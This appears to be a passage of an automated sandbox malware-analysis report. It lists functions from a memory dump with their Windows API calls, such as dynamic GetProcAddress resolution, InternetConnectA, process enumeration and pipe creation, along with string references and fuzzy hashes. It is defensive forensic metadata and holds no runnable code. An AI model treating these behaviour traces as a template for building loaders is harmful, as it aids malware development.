Opcode Fuzzy Hash: d3693dcd36643ca6abfb8f65bff24ab356b30614a09e82994ea5443d94b5ed08
Instruction Fuzzy Hash: A421E002F0C7C0CCF702D7B9D4183AD2FA1572678CF084498DF982BB9AC7AE52498766

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D703DE0, Relevance: 3.0, APIs: 2, Instructions: 18COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF70D703DE9
_invalid_parameter_noinfo.LIBCMT ref: 00007FF70D70A0B4

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: ExceptionFilterUnhandled_invalid_parameter_noinfo
String ID:
API String ID: 59578552-0
Opcode ID: 91d10cde1a671c8c499c64a4ce69f5c21a2ce6bb3b1c58b4b672f39670bb3c42
Instruction ID: ed8a3806c7e230cb5b40f8f4d5e10c3235e477ccd1a9ff54b5e17e836763ab5f
Opcode Fuzzy Hash: 91d10cde1a671c8c499c64a4ce69f5c21a2ce6bb3b1c58b4b672f39670bb3c42
Instruction Fuzzy Hash: 46E0EC20E5D347C5E61837754C431B8A8906F5D324FE06235E21DC22C2FF5D65914A72

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6ED760, Relevance: 33.4, APIs: 5, Strings: 14, Instructions: 123memorylibraryloaderCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF70D6ED7AA
HeapAlloc.KERNEL32 ref: 00007FF70D6ED7B8
GetProcAddress.KERNEL32 ref: 00007FF70D6ED898
GetProcessHeap.KERNEL32 ref: 00007FF70D6ED94C
HeapFree.KERNEL32 ref: 00007FF70D6ED95A

Strings

&, xrefs: 00007FF70D6ED854
P, xrefs: 00007FF70D6ED840
B, xrefs: 00007FF70D6ED83B
Y, xrefs: 00007FF70D6ED818
E, xrefs: 00007FF70D6ED836
Z, xrefs: 00007FF70D6ED845
[, xrefs: 00007FF70D6ED831
j, xrefs: 00007FF70D6ED82C
Q, xrefs: 00007FF70D6ED84F
i, xrefs: 00007FF70D6ED81D
T, xrefs: 00007FF70D6ED84A
[, xrefs: 00007FF70D6ED810
m, xrefs: 00007FF70D6ED827
e, xrefs: 00007FF70D6ED822

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$Process$AddressAllocFreeProc
String ID: &$B$E$P$Q$T$Y$Z$[$[$e$i$j$m
API String ID: 726391321-1781630266
Opcode ID: 2d1b4498cd93cc3c02424c19a9fc2d950f490e2fb1fbaeb022ab7793510bc1f7
Instruction ID: e01bb67e3dc22bd761d26d8b54d0dfba80187e481a3dc30f426b99c03a2f844d
Opcode Fuzzy Hash: 2d1b4498cd93cc3c02424c19a9fc2d950f490e2fb1fbaeb022ab7793510bc1f7
Instruction Fuzzy Hash: B0514222A0CBC186E7119B69BC4436BFB95FB99798F844028EACD47B55EF7DD0488F10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6E10B0, Relevance: 33.3, APIs: 2, Strings: 17, Instructions: 58libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF70D6E1156
GetTokenInformation.KERNELBASE ref: 00007FF70D6E1174

Strings

1, xrefs: 00007FF70D6E10D5
=, xrefs: 00007FF70D6E1104
=, xrefs: 00007FF70D6E1100
V, xrefs: 00007FF70D6E111C
;, xrefs: 00007FF70D6E1114
&, xrefs: 00007FF70D6E110C
#, xrefs: 00007FF70D6E10E4
0, xrefs: 00007FF70D6E1108
+, xrefs: 00007FF70D6E10F8
!, xrefs: 00007FF70D6E10CE
:, xrefs: 00007FF70D6E1110
(, xrefs: 00007FF70D6E10E0
", xrefs: 00007FF70D6E10F4
,, xrefs: 00007FF70D6E10E8
;, xrefs: 00007FF70D6E1118
!, xrefs: 00007FF70D6E10FC
$, xrefs: 00007FF70D6E10EC

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: AddressInformationProcToken
String ID: !$!$"$#$$$&$($+$,$0$1$:$;$;$=$=$V
API String ID: 1228905535-3304864442
Opcode ID: e8f8f77b8966c450c79573908a1dc6f724378840e4dda449bca8827af568d2c1
Instruction ID: 24c166bc73bb1de027323f1be50b5ec7fdcde4da90b32f33712ada5fbe2d1d0c
Opcode Fuzzy Hash: e8f8f77b8966c450c79573908a1dc6f724378840e4dda449bca8827af568d2c1
Instruction Fuzzy Hash: 05211222A087D08DF702C7B9E4083AD3FA5A76678CF485495DF8427B8AC7A98209C765

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6ED510, Relevance: 31.6, APIs: 5, Strings: 13, Instructions: 139memorylibraryloaderCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF70D6ED574
HeapAlloc.KERNEL32 ref: 00007FF70D6ED582
GetProcAddress.KERNEL32 ref: 00007FF70D6ED678
GetProcessHeap.KERNEL32 ref: 00007FF70D6ED73D
HeapFree.KERNEL32 ref: 00007FF70D6ED74B

Strings

|, xrefs: 00007FF70D6ED62C
B, xrefs: 00007FF70D6ED613
x, xrefs: 00007FF70D6ED622
C, xrefs: 00007FF70D6ED5F2
f, xrefs: 00007FF70D6ED618
r, xrefs: 00007FF70D6ED60E
r, xrefs: 00007FF70D6ED627
u, xrefs: 00007FF70D6ED609
q, xrefs: 00007FF70D6ED5FF
A, xrefs: 00007FF70D6ED5FA
y, xrefs: 00007FF70D6ED631
}, xrefs: 00007FF70D6ED604
j, xrefs: 00007FF70D6ED61D

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$Process$AddressAllocFreeProc
String ID: A$B$C$f$j$q$r$r$u$x$y$|$}
API String ID: 726391321-852752506
Opcode ID: 2c2a2feb2389a68ea8087474cc19750a12e0ad66092fe148343f891e9b393196
Instruction ID: a2aee7e5e016ac8083fd2a7d4cc9441e72dafb22ffbce56ad1c7a1968dfaffc1
Opcode Fuzzy Hash: 2c2a2feb2389a68ea8087474cc19750a12e0ad66092fe148343f891e9b393196
Instruction Fuzzy Hash: 54516022A0CBC185E7209B69F84435AFB91FBD9788F444134EACD47B59EFBDD0488B10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6FC1D0, Relevance: 31.6, APIs: 10, Strings: 8, Instructions: 125memorylibraryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF70D6FC22B
HeapAlloc.KERNEL32 ref: 00007FF70D6FC239
GetProcAddress.KERNEL32 ref: 00007FF70D6FC2C5
ReadFile.KERNEL32 ref: 00007FF70D6FC2E3
GetProcessHeap.KERNEL32 ref: 00007FF70D6FC2F4
HeapReAlloc.KERNEL32 ref: 00007FF70D6FC305
GetProcessHeap.KERNEL32 ref: 00007FF70D6FC337
HeapFree.KERNEL32 ref: 00007FF70D6FC345
GetProcessHeap.KERNEL32 ref: 00007FF70D6FC37E
HeapFree.KERNEL32 ref: 00007FF70D6FC38C

Strings

C, xrefs: 00007FF70D6FC258
p, xrefs: 00007FF70D6FC265
}, xrefs: 00007FF70D6FC279
u, xrefs: 00007FF70D6FC26A
t, xrefs: 00007FF70D6FC260
W, xrefs: 00007FF70D6FC26F
t, xrefs: 00007FF70D6FC27E
x, xrefs: 00007FF70D6FC274

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$Process$AllocFree$AddressFileProcRead
String ID: C$W$p$t$t$u$x$}
API String ID: 3374667004-3228699299
Opcode ID: 1b8694ba8a711f7c5c9cd9b044c26e8b752fdd655b87612be8ccbebb581cc0dd
Instruction ID: 39b5577b809e758181193665cd36c6e53d98a0aca7a55c5544a5c7d898cb54d3
Opcode Fuzzy Hash: 1b8694ba8a711f7c5c9cd9b044c26e8b752fdd655b87612be8ccbebb581cc0dd
Instruction Fuzzy Hash: 93517126A1CB8585E640EB1AF8442AAFB91FF89BC4F841135EE8E43755EF7DE0458710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6F03D0, Relevance: 31.6, APIs: 2, Strings: 16, Instructions: 95libraryloadernetworkCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF70D702560: StrStrA.SHLWAPI ref: 00007FF70D702585
Part of subcall function 00007FF70D702560: StrStrA.SHLWAPI ref: 00007FF70D7025C7
Part of subcall function 00007FF70D702560: lstrlenA.KERNEL32 ref: 00007FF70D7025D8
Part of subcall function 00007FF70D702560: StrStrA.SHLWAPI ref: 00007FF70D7025F4
Part of subcall function 00007FF70D702560: lstrlenA.KERNEL32 ref: 00007FF70D702605
Part of subcall function 00007FF70D702560: lstrcpynA.KERNEL32 ref: 00007FF70D702633

Part of subcall function 00007FF70D6F0240: StrStrA.SHLWAPI ref: 00007FF70D6F0274
Part of subcall function 00007FF70D6F0240: lstrlenA.KERNEL32 ref: 00007FF70D6F0282
Part of subcall function 00007FF70D6F0240: lstrcpynA.KERNEL32 ref: 00007FF70D6F02A2
Part of subcall function 00007FF70D6F0240: lstrcmpA.KERNEL32 ref: 00007FF70D6F02F9

GetProcAddress.KERNEL32 ref: 00007FF70D6F04F2
InternetConnectA.WININET ref: 00007FF70D6F051E

Strings

@, xrefs: 00007FF70D6F046F
d, xrefs: 00007FF70D6F045B
s, xrefs: 00007FF70D6F0474
a, xrefs: 00007FF70D6F0465
a, xrefs: 00007FF70D6F0460
q, xrefs: 00007FF70D6F0428
a, xrefs: 00007FF70D6F0430
_, xrefs: 00007FF70D6F0456
F, xrefs: 00007FF70D6F043D
Y, xrefs: 00007FF70D6F0479
F, xrefs: 00007FF70D6F046A
s, xrefs: 00007FF70D6F0451
a, xrefs: 00007FF70D6F0447
F, xrefs: 00007FF70D6F044C
s, xrefs: 00007FF70D6F0438
m, xrefs: 00007FF70D6F0442

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: lstrlen$lstrcpyn$AddressConnectInternetProclstrcmp
String ID: @$F$F$F$Y$_$a$a$a$a$d$m$q$s$s$s
API String ID: 3847000852-3561550841
Opcode ID: 40d361bba1c1da03aebb5e1aa4d4cd79a7c9f81469a127f24d5127586a8986c3
Instruction ID: a9e78a8b94a526e57c2b8ebbcfe5b76844544f6416ada398b24ad912b268e845
Opcode Fuzzy Hash: 40d361bba1c1da03aebb5e1aa4d4cd79a7c9f81469a127f24d5127586a8986c3
Instruction Fuzzy Hash: 2A41D82260C7C08AE315D728F81435AEFA1E7DA784F584025EBC85BB9ADFBEC5048B10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6E3630, Relevance: 28.1, APIs: 12, Strings: 4, Instructions: 124memorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF70D6F03D0: GetProcAddress.KERNEL32 ref: 00007FF70D6F04F2
Part of subcall function 00007FF70D6F03D0: InternetConnectA.WININET ref: 00007FF70D6F051E

StrDupA.SHLWAPI ref: 00007FF70D6E3663

Part of subcall function 00007FF70D6F0240: StrStrA.SHLWAPI ref: 00007FF70D6F0274
Part of subcall function 00007FF70D6F0240: lstrlenA.KERNEL32 ref: 00007FF70D6F0282
Part of subcall function 00007FF70D6F0240: lstrcpynA.KERNEL32 ref: 00007FF70D6F02A2
Part of subcall function 00007FF70D6F0240: lstrcmpA.KERNEL32 ref: 00007FF70D6F02F9

Part of subcall function 00007FF70D6E5410: wsprintfA.USER32 ref: 00007FF70D6E54A4

lstrlenA.KERNEL32 ref: 00007FF70D6E3693
lstrlenA.KERNEL32 ref: 00007FF70D6E36A8
GetProcessHeap.KERNEL32 ref: 00007FF70D6E36B7
HeapAlloc.KERNEL32 ref: 00007FF70D6E36C5
wsprintfA.USER32 ref: 00007FF70D6E3734
lstrcatA.KERNEL32 ref: 00007FF70D6E3771
lstrcatA.KERNEL32 ref: 00007FF70D6E377D
GetProcessHeap.KERNEL32 ref: 00007FF70D6E3792
HeapFree.KERNEL32 ref: 00007FF70D6E37A0
GetProcessHeap.KERNEL32 ref: 00007FF70D6E37CD
HeapFree.KERNEL32 ref: 00007FF70D6E37DC

Strings

,, xrefs: 00007FF70D6E36D7
Z, xrefs: 00007FF70D6E36F9
^, xrefs: 00007FF70D6E36F4
3, xrefs: 00007FF70D6E373F

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$Processlstrlen$Freelstrcatwsprintf$AddressAllocConnectInternetProclstrcmplstrcpyn
String ID: ,$3$Z$^
API String ID: 412485836-3700230074
Opcode ID: 30132d79be39d97593f887d1f816e964ba61fa89733a1285c409dc676aaa57f8
Instruction ID: 2b47f53b4e2f178c645945fe8de1a8de9ca526dd5918d3a2a10dd31c25d42cc0
Opcode Fuzzy Hash: 30132d79be39d97593f887d1f816e964ba61fa89733a1285c409dc676aaa57f8
Instruction Fuzzy Hash: 4551D866A0C78286DB24EB26B80416AFB91FF8AB89F844234DECD07755EF7CD105C720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D703550, Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 61libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FF70D703566
GetModuleHandleW.KERNEL32 ref: 00007FF70D703573
GetModuleHandleW.KERNEL32 ref: 00007FF70D703588
GetProcAddress.KERNEL32 ref: 00007FF70D7035A0
GetProcAddress.KERNEL32 ref: 00007FF70D7035B3
CreateEventW.KERNEL32 ref: 00007FF70D7035DF
DeleteCriticalSection.KERNEL32 ref: 00007FF70D70362B
CloseHandle.KERNEL32 ref: 00007FF70D70363D

Strings

api-ms-win-core-synch-l1-2-0.dll, xrefs: 00007FF70D70356C
SleepConditionVariableCS, xrefs: 00007FF70D703596
kernel32.dll, xrefs: 00007FF70D703581
WakeAllConditionVariable, xrefs: 00007FF70D7035A6

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2565136772-3242537097
Opcode ID: e5d6e718d410cf8ff0880cb7a573779cff77cee225800aafb88c65106be2f1db
Instruction ID: c6e093981987497b640a80e364c7ee9ec74e2668aea607a391d24fdd3074b56f
Opcode Fuzzy Hash: e5d6e718d410cf8ff0880cb7a573779cff77cee225800aafb88c65106be2f1db
Instruction Fuzzy Hash: BE21E768A1DB4381EE54BB24FC55574A6A1AF5CB48FC82539C90E827A0FF2CE5599330

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6FC6B0, Relevance: 21.1, APIs: 2, Strings: 10, Instructions: 54libraryloaderpipeCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF70D6FC764
CreatePipe.KERNEL32 ref: 00007FF70D6FC778

Strings

`, xrefs: 00007FF70D6FC70C
u, xrefs: 00007FF70D6FC71B
d, xrefs: 00007FF70D6FC702
`, xrefs: 00007FF70D6FC720
U, xrefs: 00007FF70D6FC711
q, xrefs: 00007FF70D6FC707
`, xrefs: 00007FF70D6FC6FD
l, xrefs: 00007FF70D6FC716
F, xrefs: 00007FF70D6FC6F0
w, xrefs: 00007FF70D6FC6F8

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: AddressCreatePipeProc
String ID: F$U$`$`$`$d$l$q$u$w
API String ID: 4154009375-2652657879
Opcode ID: 57aa6cb619660f8aba921f41e71b4a161bad11bc20e627cc8289261598cc5ac4
Instruction ID: fcddec465fb33248c8b863093fad3f50be152fe9ae37a1252d6ddea28fe4dd26
Opcode Fuzzy Hash: 57aa6cb619660f8aba921f41e71b4a161bad11bc20e627cc8289261598cc5ac4
Instruction Fuzzy Hash: D1213D2250C7C085E7219B25F45436BBFA2E79EB88F481268EBCD07B5ADF7DC1048B25

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6FCF70, Relevance: 17.6, APIs: 1, Strings: 9, Instructions: 136libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF70D6FD0B6

Strings

g, xrefs: 00007FF70D6FD05A
t, xrefs: 00007FF70D6FD048
g, xrefs: 00007FF70D6FD06E
v, xrefs: 00007FF70D6FD055
H, xrefs: 00007FF70D6FD05F
Y, xrefs: 00007FF70D6FD040
k, xrefs: 00007FF70D6FD050
k, xrefs: 00007FF70D6FD064
n, xrefs: 00007FF70D6FD069

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: AddressProc
String ID: H$Y$g$g$k$k$n$t$v
API String ID: 190572456-1859706031
Opcode ID: 9608873c833fab538ce8c77eeb217df876e6bc7b6471b3e0156d07138ad59e87
Instruction ID: c9edfdfc9dd00c19984d66474f828b31cfdb3f61954c362ea2af96afe18fe305
Opcode Fuzzy Hash: 9608873c833fab538ce8c77eeb217df876e6bc7b6471b3e0156d07138ad59e87
Instruction Fuzzy Hash: EC51742290CB8195D720AB25B9402AFBBA5FF857C4F541135EF8807B95DF3DE0648B10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6F1370, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 84memoryCOMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeA.VERSION ref: 00007FF70D6F13A2
GetProcessHeap.KERNEL32 ref: 00007FF70D6F13AE
HeapAlloc.KERNEL32 ref: 00007FF70D6F13BC
GetFileVersionInfoA.VERSION ref: 00007FF70D6F13D5
GetProcessHeap.KERNEL32 ref: 00007FF70D6F13DF
HeapFree.KERNEL32 ref: 00007FF70D6F13ED
VerQueryValueA.VERSION ref: 00007FF70D6F1457
GetProcessHeap.KERNEL32 ref: 00007FF70D6F148D
HeapFree.KERNEL32 ref: 00007FF70D6F149B

Strings

d, xrefs: 00007FF70D6F141E

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$Process$FileFreeInfoVersion$AllocQuerySizeValue
String ID: d
API String ID: 553859173-2564639436
Opcode ID: f2d8be512eee4330cc9de8bdbc6396b6253c0ece192573b9f150204543d1630b
Instruction ID: 2e447f056b3697fa38f9fc582a5338caae954629a44997f1400a4d96a2c4aa61
Opcode Fuzzy Hash: f2d8be512eee4330cc9de8bdbc6396b6253c0ece192573b9f150204543d1630b
Instruction Fuzzy Hash: D0316F56A1CB8285E724DF6AA80416AA7A1FF8DBC4F855135EE8D83764FF3CC145CB20

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6E6A60, Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00007FF70D6E6AE5
GetProcessHeap.KERNEL32 ref: 00007FF70D6E6B39
HeapFree.KERNEL32 ref: 00007FF70D6E6B47
GetProcessHeap.KERNEL32 ref: 00007FF70D6E6BA2
HeapFree.KERNEL32 ref: 00007FF70D6E6BB0
GetProcessHeap.KERNEL32 ref: 00007FF70D6E6BB6
HeapFree.KERNEL32 ref: 00007FF70D6E6BC4

Strings

T, xrefs: 00007FF70D6E6A91
*, xrefs: 00007FF70D6E6AA3

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$FreeProcess$wsprintf
String ID: *$T
API String ID: 2268164792-1467313775
Opcode ID: 7f083ac8373431f7c74ff88cbb546207ca7eaf58f450e2e5db2e12ad8590238e
Instruction ID: d5f77f34de905ceb4ae477c7ff6a0d9f4fff3b628f95f8e3e80f74f32c85704c
Opcode Fuzzy Hash: 7f083ac8373431f7c74ff88cbb546207ca7eaf58f450e2e5db2e12ad8590238e
Instruction Fuzzy Hash: AC416622A0C78186E710DB66F8043AAFBA1FF89788F844135EB8D47B55EF7DD0098B50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6F0BF0, Relevance: 10.6, APIs: 6, Strings: 1, Instructions: 129stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF70D6F03D0: GetProcAddress.KERNEL32 ref: 00007FF70D6F04F2
Part of subcall function 00007FF70D6F03D0: InternetConnectA.WININET ref: 00007FF70D6F051E

StrStrA.SHLWAPI ref: 00007FF70D6F0C4C
StrStrA.SHLWAPI ref: 00007FF70D6F0C8B
StrStrA.SHLWAPI ref: 00007FF70D6F0CA3
lstrlenA.KERNEL32 ref: 00007FF70D6F0CB1
lstrcpynA.KERNEL32 ref: 00007FF70D6F0CD4
lstrcpyA.KERNEL32 ref: 00007FF70D6F0CE8

Strings

http, xrefs: 00007FF70D6F0C32

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: AddressConnectInternetProclstrcpylstrcpynlstrlen
String ID: http
API String ID: 2999512879-2541227442
Opcode ID: f9bc2585bf12d52f5ab19117b0d31d96bdb4770f548a3e3352b6fd53a1e8720d
Instruction ID: 2c10ff68f0745a9dd57ab2791bd7f2fb7c9efa6f327aba2c8b1f10a14415ba4c
Opcode Fuzzy Hash: f9bc2585bf12d52f5ab19117b0d31d96bdb4770f548a3e3352b6fd53a1e8720d
Instruction Fuzzy Hash: B8515B25E0DB8681EA14BB25EC503FAE792AF89BC0FC45435E94E46796FF3CE4058760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6F2DC0, Relevance: 10.6, APIs: 7, Instructions: 101memorystringCOMMON

Download Yara Rule

APIs

K32EnumProcesses.KERNEL32 ref: 00007FF70D6F2E12

Part of subcall function 00007FF70D6F6490: GetProcAddress.KERNEL32 ref: 00007FF70D6F6515

K32EnumProcessModules.KERNEL32 ref: 00007FF70D6F2E8E
K32GetModuleBaseNameA.KERNEL32 ref: 00007FF70D6F2EB1
lstrlenA.KERNEL32 ref: 00007FF70D6F2EC8
GetProcessHeap.KERNEL32 ref: 00007FF70D6F2ED5
HeapAlloc.KERNEL32 ref: 00007FF70D6F2EE3
lstrcpyA.KERNEL32 ref: 00007FF70D6F2EFD

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: EnumHeapProcess$AddressAllocBaseModuleModulesNameProcProcesseslstrcpylstrlen
String ID:
API String ID: 1539476955-0
Opcode ID: 31f3354f696170dcbacd374ace62d1cebd9011b42975496581c4f6bdda40ef26
Instruction ID: 8904b04385c997df5d3323e817b2bb859b370cf065454af5e83a8824ffba009a
Opcode Fuzzy Hash: 31f3354f696170dcbacd374ace62d1cebd9011b42975496581c4f6bdda40ef26
Instruction Fuzzy Hash: 44415E36A1DB8282EB20DB15F8402EAA7A5FF497C4F805235EA8D43B58EF3CD145CB10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D7020E0, Relevance: 10.1, APIs: 8, Instructions: 139memorystringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32 ref: 00007FF70D70210D
lstrlenA.KERNEL32 ref: 00007FF70D70211E
StrStrA.SHLWAPI ref: 00007FF70D702133
StrStrA.SHLWAPI ref: 00007FF70D702191
GetProcessHeap.KERNEL32 ref: 00007FF70D7021DF
HeapReAlloc.KERNEL32 ref: 00007FF70D7021F0
StrStrA.SHLWAPI ref: 00007FF70D702254
StrStrA.SHLWAPI ref: 00007FF70D7022C7

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heaplstrlen$AllocProcess
String ID:
API String ID: 188504188-0
Opcode ID: d27959eeb4f335025949aba785edba72703f4d4cfbb2c13d8ffeb8c5978cf08e
Instruction ID: 1fe4222bfcc37749b43e42351ffa3b59b9434c05c19d4e8299ee99a9bcfcd830
Opcode Fuzzy Hash: d27959eeb4f335025949aba785edba72703f4d4cfbb2c13d8ffeb8c5978cf08e
Instruction Fuzzy Hash: FB5191A7608B85C2EA04AF6AEC4416AA7A1FF48FC8F889031CE4D57759EF3CD145C364

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D701FF0, Relevance: 10.1, APIs: 8, Instructions: 68memorystringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32 ref: 00007FF70D702011
GetProcessHeap.KERNEL32 ref: 00007FF70D702026
HeapAlloc.KERNEL32 ref: 00007FF70D702034
lstrcpyA.KERNEL32 ref: 00007FF70D702048
GetProcessHeap.KERNEL32 ref: 00007FF70D702075
HeapReAlloc.KERNEL32 ref: 00007FF70D702086
lstrcpyA.KERNEL32 ref: 00007FF70D70209E

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$AllocProcesslstrcpy$lstrlen
String ID:
API String ID: 999419773-0
Opcode ID: 692e1c592b537d1c3a094691bfe42a0c5c53517414f1ed72f6fdf81e058e6e71
Instruction ID: 5d81fcdaf27996e7402e59ae0298dbe2478199e48156546fdd87224af6f51b21
Opcode Fuzzy Hash: 692e1c592b537d1c3a094691bfe42a0c5c53517414f1ed72f6fdf81e058e6e71
Instruction Fuzzy Hash: 1C21596AA0DB4281EB04EF16EC58229A7A1EF88FC8BC49135CE4E47759EF3CD155C224

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D703DFC, Relevance: 7.6, APIs: 5, Instructions: 94COMMON

Download Yara Rule

APIs

__scrt_initialize_crt.LIBCMT ref: 00007FF70D703E0B

Part of subcall function 00007FF70D703824: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF70D703846

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF70D703E20
__scrt_release_startup_lock.LIBCMT ref: 00007FF70D703E8E
__scrt_get_show_window_mode.LIBCMT ref: 00007FF70D703EE1
__scrt_is_managed_app.LIBCMT ref: 00007FF70D703F04

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_initialize_crt__scrt_is_managed_app__scrt_release_startup_lock
String ID:
API String ID: 4144305933-0
Opcode ID: c2ee69285bcf4ab1cbb838958ec9f6ce076d187d7ae838ecad20cc8351f6eec8
Instruction ID: 3805d6b98b8ea67a6cff4cab32960171eeb3dedd1a667ae4f8906700749b1983
Opcode Fuzzy Hash: c2ee69285bcf4ab1cbb838958ec9f6ce076d187d7ae838ecad20cc8351f6eec8
Instruction Fuzzy Hash: 68312721A0C34381EA24BB64DC513B9EA919F4D748FC46138EA0E972D3FF2DA9498631

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D708820, Relevance: 7.6, APIs: 5, Instructions: 60threadCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF70D708844
CreateThread.KERNEL32 ref: 00007FF70D708885
GetLastError.KERNEL32 ref: 00007FF70D708893
CloseHandle.KERNEL32 ref: 00007FF70D7088B0
FreeLibrary.KERNEL32 ref: 00007FF70D7088BF

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: CloseCreateErrorFreeHandleLastLibraryThread_invalid_parameter_noinfo
String ID:
API String ID: 2067211477-0
Opcode ID: b378864d64efe880bfec233704a9ce7ea6a622f3f2c6eddd6888f20691e2a6d3
Instruction ID: e9aa4dbe21414181be1e6641e7ea14ef93bc087b766c07d0ad2f0ee0a28d115e
Opcode Fuzzy Hash: b378864d64efe880bfec233704a9ce7ea6a622f3f2c6eddd6888f20691e2a6d3
Instruction Fuzzy Hash: 4A218E25A1DB52C2EE04FB65AC1007AEB90AF9CB94F841535DE0D83BD5FF3CE4008621

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6E48A0, Relevance: 6.3, APIs: 5, Instructions: 70memorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF70D6EC5E0: GetProcAddress.KERNEL32 ref: 00007FF70D6EC686

GetProcessHeap.KERNEL32 ref: 00007FF70D6E48F5
HeapAlloc.KERNEL32 ref: 00007FF70D6E4903
GetProcessHeap.KERNEL32 ref: 00007FF70D6E4938
HeapFree.KERNEL32 ref: 00007FF70D6E4946
lstrlenA.KERNEL32 ref: 00007FF70D6E496F

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$Process$AddressAllocFreeProclstrlen
String ID:
API String ID: 2065100370-0
Opcode ID: 4a0ff6e1af8bb45fe8565c2e3a93290184a4e6ac5f666eaa6f624305e0d10c5b
